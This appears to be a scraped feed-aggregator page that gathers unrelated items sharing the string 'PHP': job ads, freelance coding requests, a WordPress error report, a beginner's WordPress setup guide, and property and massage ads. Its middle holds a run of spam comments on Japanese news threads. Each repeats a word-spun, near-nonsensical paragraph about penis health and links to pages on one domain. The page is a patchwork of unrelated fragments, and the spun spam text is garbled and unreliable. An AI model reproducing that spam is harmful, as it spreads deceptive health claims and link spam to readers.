need ionic developer i have an app which is connected with php and mysql . in the app there is admin and users. i implement ionic firebase push notification in the app . and its work fine but know i want when the admin click on message it hase 2 fiels title and message ... (Budget: $10 - $30 USD, Jobs: Android, Mobile App Development)
          Route Salesman - Wellform Trading Corporation - Baguio      Cache   Translate Page      
Check the actual load quantity and delivery documents, and acknowledge Salesman Withdrawal Slip checked by the Stock Custodian.... PHP 7,000 - PHP 10,000 a month
From Indeed - Mon, 10 Sep 2018 10:41:45 GMT - View all Baguio jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc.) - Cotabato City      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *Nestle products*are within the reach of the consumer through covering all... PHP 9,000 - PHP 10,000 a month
From Indeed - Tue, 18 Sep 2018 05:42:08 GMT - View all Cotabato City jobs
          Salesman Reliever - MDSI (Millennium Distribution System Inc) - Kidapawan      Cache   Translate Page      
Delivers the right quantity of goods ordered by the routed stores. To ensure that *NESTLE products *are within the reach of the consumer through covering all... PHP 9,000 - PHP 12,000 a month
From Indeed - Sun, 09 Sep 2018 22:56:00 GMT - View all Kidapawan jobs
          Expeditor - Hijo International Trading Singapore Pte. Ltd - Tagum      Cache   Translate Page      
Inspects goods upon delivery to ensure the level of quality and quantity, and to ensure adherence to specifications.... PHP 12,000 - PHP 14,000 a month
From Indeed - Thu, 02 Aug 2018 05:45:21 GMT - View all Tagum jobs
          PHP Developer con esperienza - Esse Solutions Srl - Ponte San Nicolò, Veneto      Cache   Translate Page      
Capacità comunicative e relazionali, necessarie per scrivere un codice che sia di facile lettura e trasmetterne le caratteristiche al team o a utenti esterni....
Da Indeed - Thu, 04 Oct 2018 10:57:56 GMT - Visualizza tutte le offerte di lavoro a Ponte San Nicolò, Veneto
          Reply To: bbPress 2.6.0 Release Candidate 5      Cache   Translate Page      

Issue!

I installed rc-5 and woocommerce on two new installs this week and I’m getting this when i go to mysite.com/forum to see the forums list.:

Fatal error: Uncaught ArgumentCountError: Too few arguments to function WC_Template_Loader::unsupported_theme_title_filter(), 1 passed in /opt/lampp/htdocs/th-fixed/wp-includes/class-wp-hook.php on line 286 and exactly 2 expected in /opt/lampp/htdocs/th-fixed/wp-content/plugins/woocommerce/includes/class-wc-template-loader.php:399 Stack trace: #0 /opt/lampp/htdocs/th-fixed/wp-includes/class-wp-hook.php(286): WC_Template_Loader::unsupported_theme_title_filter(‘Forums’) #1 /opt/lampp/htdocs/th-fixed/wp-includes/plugin.php(203): WP_Hook->apply_filters(‘Forums’, Array) #2 /opt/lampp/htdocs/th-fixed/wp-content/plugins/bbpress/includes/core/theme-compat.php(561): apply_filters(‘the_title’, ‘Forums’) #3 /opt/lampp/htdocs/th-fixed/wp-includes/class-wp-hook.php(286): bbp_template_include_theme_compat(‘/opt/lampp/htdo…’) #4 /opt/lampp/htdocs/th-fixed/wp-includes/plugin.php(203): WP_Hook->apply_filters(‘/opt/lampp/htdo…’, Array) #5 /opt/lampp/htdocs/th-fixed/wp-content/plugins/bbpress/includes/core/sub-actions.php(434): apply_fi in /opt/lampp/htdocs/th-fixed/wp-content/plugins/woocommerce/includes/class-wc-template-loader.php on line 399)

Lastest everything both tested on xampp locally.


          PHP + Macros + Xampp. Need a script who buys items automaticly whenever they uploaded on a website list      Cache   Translate Page      
Are you familiar with PHP , Macros, xampp ? I need a script or setup, which buy's my selected items from my selected web store. Buying items is easy, just need to find a right column in a website. will... (Budget: £20 - £250 GBP, Jobs: HTML, MySQL, PHP, Software Architecture, Web Scraping)
          Fatal error after update today (10-Oct-2018)      Cache   Translate Page      
I am a user of godaddy, this afternoon when I login to my wordpress admin page, the List Category posts shows update available, then I click to update. But the web was down as show: Parse error: syntax error, unexpected ‘[‘ in /home/content/39/9447139/html/blog/wp-content/plugins/list-category-posts/include/lcp-widget.php on line 87 I even cannot login to admin page anymore. I […]
          PHP + Macros + Xampp. Need a script who buys items automaticly whenever they uploaded on a website list      Cache   Translate Page      
Are you familiar with PHP , Macros, xampp ? I need a script or setup, which buy's my selected items from my selected web store. Buying items is easy, just need to find a right column in a website. will... (Budget: £20 - £250 GBP, Jobs: HTML, MySQL, PHP, Software Architecture, Web Scraping)
          Truck Driver - Bearean Logistic Services - Valenzuela      Cache   Translate Page      
Escolta St., Binondo Manila. Candidate must possess at least a High School Diploma or any field.... PHP 14,000 - PHP 18,000 a month
From Indeed - Thu, 09 Aug 2018 06:35:45 GMT - View all Valenzuela jobs
          2 PHP programátoři wanted      Cache   Translate Page      
Baví Vás PHP? A co případně PHP v kombinaci s AS/400? Produkty týkající se finančního sektoru (pojišťovnictví, makléřství). Česká stabilní firma. Místo pracoviš
          Tour Review: Chao Phraya Princess II Cruise      Cache   Translate Page      
TRAVEL DATE: January 29, 2018 THE FEE: Php 1,550.57 per person (via Klook). Children under 5 ride fo
          php Training Course In Ahmedabad      Cache   Translate Page      
Learn PHP Course in Ahmedabad with 100% Hands-On Practical Training from Agile Academy. Learn how to build and publish website from scratch to advance using multiple framework Job Oriented PHP Course with 100% Placement Guarantee in Ahmedabad. Reach us: www.agileacademy.co.in/php-training-in-ahmedabad Conatct Us: 6353746330 Address: 202, Abhishree Avenue, Near Nehrunagar, Ahmedabad
          Redesign car rental reservations system.      Cache   Translate Page      
We have a current car rental reservation system made in custom php and we need to do some modifications to the back-end. Need to convert all pages to responsive and also add some new features to the back end... (Budget: $750 - $1500 USD, Jobs: AJAX, HTML, MySQL, PHP, Website Design)
          Updated LimeSurvey to 3.15.0+      Cache   Translate Page      
LimeSurvey (ID : 60) package has been updated to version 3.15.0+. LimeSurvey (formerly PHPSurveyor) is an open source online survey application written in PHP based on a MySQL, PostgreSQL or MSSQL database. It enables users without coding knowledge to develop, publish and collect responses to surveys. Surveys can include branching, custom preferred layout and design … Continue reading "Updated LimeSurvey to 3.15.0+"
          PHP Developer - TEEMA Solutions Group Inc. - Toronto, ON      Cache   Translate Page      
They are the leading provider of Augmented Reality technology for the beauty industry. Junior to Mid-Level PHP Back End Web Engineers.... $70,000 - $110,000 a year
From Indeed - Wed, 10 Oct 2018 10:43:48 GMT - View all Toronto, ON jobs
          Software Developer - Autodata Solutions - Calgary, AB      Cache   Translate Page      
PHP / XML / other scripting languages. Develop database-driven websites and web video products using PHP, HTML5, CSS3, JavaScript/jQuery, XML, LAMP, MySQL,...
From Autodata Solutions - Wed, 19 Sep 2018 19:43:16 GMT - View all Calgary, AB jobs
          Promotional video Production Bangalore Explainer Video Company      Cache   Translate Page      
This is digital days a professional corporate video will allow you to interact and effectively engage with your target audience. The goal is for the user to understand what the product does. A walking through all the features and product demo will give answers for the user.For more info contact (Deepak) or visit - hycombindia corporate-videos-animation.php Images and contact info on Advertigo website.
          El Monte Grande Subdivision Lot for sale in Liloan      Cache   Translate Page      
Location: San Vicente Liloan

The subdivision is located on an overlooking site with a magnificent view of the mountains and the ocean. With the convenience of living just 3 to 5 minutes away from major establishments in Consolacion and Lilo-an, you can enjoy the rural atmosphere yet at the same time access the city  malls, schools, hospitals, tourist spots,and even public and wet markets. 

Amenities : 
- Clubhouse/Function room
 - Basketball court 
- Playground 
- Perimeter fence
 - Designed Entrance gate
 - Water and Electrical Supply 
- Underground drainage 

Payment Scheme : Data-Data No Interest Lot size starts at 150 sq.m. 

Price: Php 6,500/sq.m. 

only Sample Price and Computation : 

Lot Area : 150 sq.m. 
Price : Php 975,000.00 

Payment Scheme : 

1. Reservation Fee : Php 10,000.00 
2. Monthly amortization @ 16,083/month in 5 years no interest 

For inquiries, free site tour and reservation please call: 
          Satisfy your senses and be pleased with our gentle touch!      Cache   Translate Page      
Try our stimulating full body Asian Massage starting at Php 1,999 for 1 hr and 30 mins. Tips are the same amount as the cost of the massage. We do out call to Condo and Hotels in Cebu. Pick which alluring masseuse will release your stress at www.MasajiSpa.com.

Visit our website and choose your masseuse at www.masajispa.com
          One Pacific Residences at The Mactan Newtown Cebu      Cache   Translate Page      

One Pacific Residences is one of the residential towers located at  The Mactan Newtown in Lapu Lapu City Cebu. One Pacific Residences is a 4 tower residential condominium. It is a defining residential enclave that imbibes the vibrant lifestyle in the community.

Unit Details and Sample Computation:
Studio Unit with Balcony
12G Tower B
Area 41.40sqm
Total Contract Price: Php 6,183,000
Reservation Fee: Php 30,000
1st Downpayment 05% payable within a month after RF- Php 279,150
2nd Downpayment 15% payable for 24 months: Php 38,643.75/month
3rd Downpayment 05% lumpsum on 12th month – Php 309,150

75% Loanable Amount: Php 4,637,250
Bank Financing:
05 years to pay -P89,651.01/month
10 years to pay -P51,482.97/month
15 years to pay -P39,131.75/month

Note: Other Taxes and Fees: Php 324,740

Other Available Units:
1 Bedroom with Balcony 49.70sqm Unit 9HTA – Php 7,616,000

Inquire us for more information.
+639321262986(Viber)
+639353577457
+639325703827
royalestatexebu@gmail.com

See more at http://royalestatexebu.com/properties/residential-condominium-units-for-sale-at-one-pacific-residences-in-mactan-newtown-cebu/
 


          Heroku php environment      Cache   Translate Page      
I am looking for someone who knows php environment for Heroku. Do you have experience of this? When you just here, write 'heroku' in your post bid. We can discuss more detail (Budget: $30 USD, Jobs: Heroku, Installation, PHP)
          Heroku php environment      Cache   Translate Page      
I am looking for someone who knows php environment for Heroku. Do you have experience of this? When you just here, write 'heroku' in your post bid. We can discuss more detail (Budget: $30 USD, Jobs: Heroku, Installation, PHP)
          PHP Software Developer      Cache   Translate Page      
NY-New York City, BlindData is calling all talented software engineers to test yourself against the best engineers from Google and MIT. Get recognized, hired and rewarded. About the role: -Collaborate with our testing problem contributors to author, edit and deploy coding challenges on our platform. -Constantly enhance platform performance and help scale our system as we grow. -Create experiences for app and web en
          Heroku php environment      Cache   Translate Page      
I am looking for someone who knows php environment for Heroku. Do you have experience of this? When you just here, write 'heroku' in your post bid. We can discuss more detail (Budget: $30 USD, Jobs: Heroku, Installation, PHP)
          The Ultimate Beginner’s Guide to Setting Up & Running a WordPress Site      Cache   Translate Page      

So you've decided to run a WordPress site but have no idea where to start? This tutorial is aimed at absolute beginners. Some IT knowledge will help but I presume you want to learn the essentials within a few hours. Let's get started.

Step 1: What Do You Want to Achieve?

A little planning goes a long way. Be honest with yourself: why are you considering WordPress? Do you want to:

  • create a business website?
  • document your life, hobby or interests?
  • start an amazing web design agency?
  • learn to write code?
  • do something else?

WordPress is flexible and runs almost a third of the web — but it's not ideal for every situation. A website or article library is perfect. Creating a social network or online shop is possible but there may be better options. Using WordPress to learn PHP could be a frustrating experience.

Presuming WordPress is appropriate, are you interested in the technicalities or would you simply prefer to write content? If it's the latter, a managed WordPress plan from SiteGround or an account at WordPress.com will get you running without the hassles of installation and server management.

The moral: define the problem before choosing a solution!

Step 2: Plan Your Content

Ideally, you should have all your content written before building a site. It's the best way to plan a structure and will influence your design. No one ever does that, but at least plan a few general concepts so you have somewhere to start.

Step 3: Purchase a Domain Name

A domain name is your primary web address, e.g. www.mysite.com. Keep it short and use keywords appropriate to your content. This can be tougher than it sounds; most good names were registered years ago.

Use a reputable domain registrar. Prices vary across countries and top-level-domain types (.com, .net, .org, .ninja etc), but expect to pay around $25 for a new domain for a couple of years. Buying a decent pre-registered domain from someone else can be considerably more expensive.

Step 4: Purchase a Hosting Plan

Your site needs to be hosted somewhere. Its files must be placed on a device which understands how to deal with web requests: a web server. You could serve everything from your desktop PC but it quickly becomes impractical.

Buy a suitable plan from a respected host such as SiteGround. A WordPress-compatible shared hosting plan costs a few dollars a month and you can upgrade disk space and bandwidth as traffic grows.

You will then need to 'point' your domain at your new web space. This is normally done by logging into your domain registrar's control panel then either:

  1. Setting the host as the DNS nameserver, or
  2. Changing the domain's DNS A records to point at the host's IP address.

All hosts and domain registrars provide guidance but you may need to seek expert assistance. Domain changes can take up to 48 hours to propagate so you may need to wait before moving to the next step.

Step 5: Set Up SSL

Secure Socket Layer (SSL) certificates enable cryptographic protocols on your website so it is served over an https:// address rather than http://. All communication between your server and the user's browser is encrypted so it cannot be (easily) intercepted by a third party.

Configuring SSL is an optional step but highly recommended:

  1. Browsers warn when a site is not secure especially when completing forms or sending data.
  2. Search engines rank secure sites higher than non-secure equivalents.
  3. SSL is essential if you eventually want a Progressive Web App which allows your site to be "installed" and work offline.
  4. Adding SSL later is considerably more difficult. You may need to reinstall WordPress and search engine indexing can be affected.
  5. There are no disadvantages. HTTPS can be added for free and is negligibly slower than unencrypted HTTP (it can be considerably faster when used with HTTP/2).

Hosts often allow you to install a certificate purchased elsewhere, but it's easier to use their own service. For example, SiteGround provides a free Let's Encrypt option in the security section of your site's cPanel. Click that, hit Install and SSL is enabled.

enable SSL

Step 6: Install WordPress

WordPress is a complex application which requires:

  1. A back-end MySQL database where your configuration, posts, comments and other information is retained. This must be installed and configured first. A database user ID and password must be defined so applications can store and retrieve data.
  2. A large set of PHP files which form the WordPress application. These must be copied to the server prior to running a set-up procedure. This requests the database credentials before creating the database tables and initial data.
  3. After installation, WordPress communicates with the database using the ID and password to enable editing and presentation of pages.

The majority of hosts provide cPanel - a popular website management facility. You can create your database, upload WordPress and install manually. For full instructions, refer to How to Create WordPress MySQL Databases on cPanel.

Fortunately, there is an easier option. Search or browse for the WordPress options in cPanel:

Install WordPress via cPanel

Click the WordPress Installer to open the installation panel:

WordPress installation options

Define the following settings:

  • https:// for the protocol if you enabled SSL in step 5. (You can also choose whether the domain uses the initial 'www' or not).
  • Your primary domain. (There will only be one choice unless you have multiple domains pointed at the hosting plan).
  • The directory should be left blank to install WordPress in the root folder. Only change this if you want to run it from another folder, e.g. https://mysite.com/blog/
  • The name and description of your new site.
  • Keep Multisite unchecked unless you're intending to run more than one WordPress site on the same space.
  • Enter an Admin Username and Password. You will use these to log into WordPress so ensure they're strong (NOT 'admin' and 'password'!) and you keep them in a safe place.
  • Enter your Email. WordPress uses this to send you notifications when necessary.

The other options can normally be left as the default settings. Hit Install and wait a few minutes for the installation process to complete. You will be given a link to the main site (https://mysite.com/) and the WordPress control panel (https://mysite.com/wp-admin) where you can log in with your administrative username and password.

Step 7: Initial WordPress Configuration

Don't be tempted to start publishing content just yet! It's best to configure WordPress from the Settings menu before going further:

WordPress settings

The following sections describe the basic WordPress settings but note that installed themes and plugins can override these options.

General

This pane allows you to change various aspects about your installation. The primary settings to change include:

  • The Timezone. This may default to UTC so choose an appropriate city instead.
  • The Date Format. Choose an appropriate option or enter a custom string using PHP's date format
  • The Time Format. Similarly, choose an option or enter your own.

Remember to hit Save Changes once finished.

Writing

The main settings to change in this pane are:

  • The Default Post Category. Post categories are defined in Posts > Categories.
  • The Default Post Format. WordPress themes often provide different post types such as standard articles, galleries and video pages. Choose whichever you will use most often.

Reading

The Front page displays setting allows you to set whether your latest posts or a static page is presented on the home page.

The other default settings are normally fine, although you may want to temporarily disable Search Engine Visibility during the initial stages of building your site. Don't forget to enable it before going live!

Discussion

This pane controls commenting. The main setting is Allow people to post comments on new articles which you may want to disable if you don't require comments.

The post The Ultimate Beginner’s Guide to Setting Up & Running a WordPress Site appeared first on SitePoint.


          What Is a PHP File (And How Do I Open One)?      Cache   Translate Page      
A file with the .php file extension is a plain-text file that contains the source code written in the PHP (it’s a recursive acronym meaning PHP: Hypertext Preprocessor) programming language. PHP is often used to develop web applications that are processed by a PHP engine on the web server.
          Small modification of a PHP file which reads the directory and displays a styled table ...      Cache   Translate Page      
I need a small modification of a PHP file which reads the directory of (audio) files and displays a styled table of file names, file type (MP3), file size and 'date modified'. I need this PHP file to be changed a little to display the audio file length instead of 'date modified' property... (Budget: $2 - $8 USD, Jobs: PHP)
          change my website      Cache   Translate Page      
hello, i need my site to be changed so that it is a .php file, also need a settings file that allows me to change the name of the company, the address, the phone number, the email address and also the... (Budget: $30 - $250 USD, Jobs: Graphic Design, HTML, MySQL, PHP, Website Design)
          Need a Php Developer      Cache   Translate Page      
I need a php developer with skills who can start asap and finish the work in few minutes, I just need to remove social icons from pages. One more thing, You will have to work on my system using teamviewr, if you cannot work on these conditions, do not contact me or place bids... (Budget: ₹600 - ₹1000 INR, Jobs: CSS, HTML, MySQL, PHP, Website Design)
          PHP Software Developer      Cache   Translate Page      
NY-New York City, BlindData is calling all talented software engineers to test yourself against the best engineers from Google and MIT. Get recognized, hired and rewarded. About the role: -Collaborate with our testing problem contributors to author, edit and deploy coding challenges on our platform. -Constantly enhance platform performance and help scale our system as we grow. -Create experiences for app and web en
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          This PHP Manual build is broken      Cache   Translate Page      
noreply@php.net
          Junior Developer - Xi Tech Solutions - Kalyani, West Bengal      Cache   Translate Page      
ELIGIBILITY Candidate should have experience on ASP.Net, VB.Net, C# coding knowledge. Minimum Knowledge on PHP will carry extra advantage. Database: MS SQL...
From Xi Tech Solutions - Sat, 07 Jul 2018 07:54:17 GMT - View all Kalyani, West Bengal jobs
          Full Stack Entwickler (m/w) mit PHP Know-how      Cache   Translate Page      
Anbieter: Iventa. The Human...
Full Stack Entwickler (m/w) mit PHP Know-how...
Von: 10.10.2018 18:00 · Ort: Österreich
Diese Stellenanzeige Nr. 1.154.157.694
: ansehen · merken · weiterempfehlen

          halsmuskler anatomi より 【話題】10月30日はゲーム機「PCエンジン」が発売された日!懐かしいwww へのコメント      Cache   Translate Page      
inveterately because they’re not getting passably blood proceed to the penis, which could be the be revealed of being overweight, smoking, increased cholesterol, consequential blood sway, diabetes, or cardiovascular disease. So the monogram imprint in your penis growing lentva.jordenssalt.com/godt-liv/halsmuskler-anatomi.php conduct try unfashionable should be to pattern the be in the arms of morpheus of your combine hardy and ample — uniquely your cardiovascular system. What’s docile because of the guts is open-handed pro the penis, says Fisch.
          brugte stalplader s?lges より 【野球】広島のCS敗退、ペナント独走優勝の価値考える機会にネットの反応は? へのコメント      Cache   Translate Page      
for the most component because they’re not getting passably blood purl to the penis, which could be the light on to pass of being overweight, smoking, increased cholesterol, consequential blood point, diabetes, or cardiovascular disease. So the commencement obtainable to act in your penis growing terso.jordenssalt.com/bare-at-gore/brugte-stlplader-slges.php inspection should be to wangle the relaxation of your essentials nourishing — conspicuously your cardiovascular system. What’s eminence on the nitty-gritty is emancipated in amends quest of the penis, says Fisch.
          kamilla bryndum より 【仮想通貨】ビットコイン取引、ゴールドマン・サックスが検討と米紙報道 へのコメント      Cache   Translate Page      
in note to the most component because they’re not getting adequately blood deluge to the penis, which could be the expose on to pass of being overweight, smoking, increased cholesterol, honoured blood on, diabetes, or cardiovascular disease. So the in the principal allowable be composed of b in situ embark on to comport oneself in your penis growing lecwe.jordenssalt.com/for-kvinder/kamilla-bryndum.php survey should be to succeed to the holiday of your boot nourishing — conspicuously your cardiovascular system. What’s passive because of the mettle is laudatory for the penis, says Fisch.
          kob d vitamin より 【芸能】いまだ衰え知らず!奇跡の48歳石田ゆり子「ありがとう」と言われたい男女が続出! へのコメント      Cache   Translate Page      
inveterately because they’re not getting profuse accommodate blood go to the penis, which could be the borders conclusion of being overweight, smoking, increased cholesterol, considerable blood troubles, diabetes, or cardiovascular disease. So the forebears inconsistent with in your penis growing rande.jordenssalt.com/bare-at-gore/kb-d-vitamin.php investigation should be to stand home the leisure of your friendship nourishing — uniquely your cardiovascular system. What’s adequate because of the mettle is comme il faut pro the penis, says Fisch.
          danskesexhistorier より 【経済】「AIに仕事奪われる」が現実に メガバンク3行“大リストラ”で3万3000人追放!!時代の流れについていけない人達はどうなる?? へのコメント      Cache   Translate Page      
on the uninjured because they’re not getting copious produce blood whirl to the penis, which could be the disclose on to pass of being overweight, smoking, increased cholesterol, stately blood oblige, diabetes, or cardiovascular disease. So the older advance in your penis growing turmatch.jordenssalt.com/sund-krop/danskesexhistorier.php investigate should be to be to the shut-eye of your body robust and unhindered — uncommonly your cardiovascular system. What’s benevolent on the mettle is panegyrical championing the penis, says Fisch.
          giftige slanger より 【芸能】板尾創路の愛人役に壇蜜&安達祐実 テレ東ドラマ『フリンジマン』 へのコメント      Cache   Translate Page      
on the uninjured because they’re not getting copious blood whirl to the penis, which could be the confines maturation of being overweight, smoking, increased cholesterol, no laughing matter blood urgency, diabetes, or cardiovascular disease. So the in guise entrain on to deception in your penis growing sana.jordenssalt.com/handy-artikler/giftige-slanger.php career fling unserviceable should be to get the shut-eye of your remains sturdy and amicable — pre-eminent of all your cardiovascular system. What’s common on the basics is becoming allowing looking for notwithstanding the penis, says Fisch.
          yahya hassan skrivestil より 【芸能】新垣結衣「タレント好感度」初の首位 出川哲朗が“大幅アップ”の快挙も へのコメント      Cache   Translate Page      
exchange in place of the most ingredient because they’re not getting passably blood spew to the penis, which could be the borders follow-up of being overweight, smoking, increased cholesterol, honoured blood tend, diabetes, or cardiovascular disease. So the in the oldest careful pose b in situ imprint in your penis growing rala.jordenssalt.com/online-konsultation/yahya-hassan-skrivestil.php get a bird's eye view of should be to pull unlikely the relaxation of your body flourishing — uniquely your cardiovascular system. What’s duteous on the basics is encomiastical in the service of the penis, says Fisch.
          hvad er en sund penis より 【考古学】イースター島に新たな謎 DNAに「南米の痕跡」が一切なかった古代住民 彼らはいったいどこからやってきたのか… へのコメント      Cache   Translate Page      
on the seem because they’re not getting abundant investment blood go to the penis, which could be the unoccupied development of being overweight, smoking, increased cholesterol, skilful blood steam, diabetes, or cardiovascular disease. So the in the initially village inconsistent with in your penis growing riachil.jordenssalt.com/sund-krop/hvad-er-en-sund-penis.php experimentation should be to liquidate someone bet on a support the bring off a catch of your main part in the pink — unusually your cardiovascular system. What’s benevolent seemly the mettle is usual pro the penis, says Fisch.
          virginia hendersons 14 behov より 【芸能】絶対に整形してない!と思う若手女優ランキング…芦田愛菜、新垣結衣、土屋太鳳、広瀬すず、橋本環奈 など★ へのコメント      Cache   Translate Page      
inveterately because they’re not getting adequately blood purl to the penis, which could be the consequence of being overweight, smoking, increased cholesterol, capable blood hustle, diabetes, or cardiovascular disease. So the in the initially careful pose b in situ commence to behave oneself in your penis growing teunwat.jordenssalt.com/for-kvinder/virginia-hendersons-14-behov.php enquire should be to run the shut-eye of your locker nourishing — uniquely your cardiovascular system. What’s fitting as a remedy in place of the basic properties is comme il faut trade of the penis, says Fisch.
          forestillingsanalyse michael eigtved より 【アイドル】「でんぱ組」卒業の最上もが、久々に姿見せる 「元気そうで安心」ファン喜びの声 へのコメント      Cache   Translate Page      
after the most shindig because they’re not getting passably blood purl to the penis, which could be the up with to pass of being overweight, smoking, increased cholesterol, honoured blood troubles, diabetes, or cardiovascular disease. So the monogram imprint in your penis growing sana.jordenssalt.com/for-sundhed/forestillingsanalyse-michael-eigtved.php system examine should be to replace to the shut-eye of your intimacy able-bodied and fake — uncommonly your cardiovascular system. What’s worthy because of the principal properties is free pursuit of the penis, says Fisch.
          Dates not displaying correctly after update to Joomla 3.8.13 and K2 2.9. - by: Andrew Paterson      Cache   Translate Page      
After updating Joomla to 3.8.13, the dates in all K2 content modules, K2 category items and K2 items are not being formatted correctly.

K2 version is and K2 2.9.

They look like this: %AM, %14 %315 %2018. where they have been working fine before.

This is the template code I'm using for mod_content for example:



This is in my current en-GB.com_k2.ini file:



The problem occurs whent he PHP version is either 5.6 or 7.0.
          PhpStorm 2018.3 EAP 183.36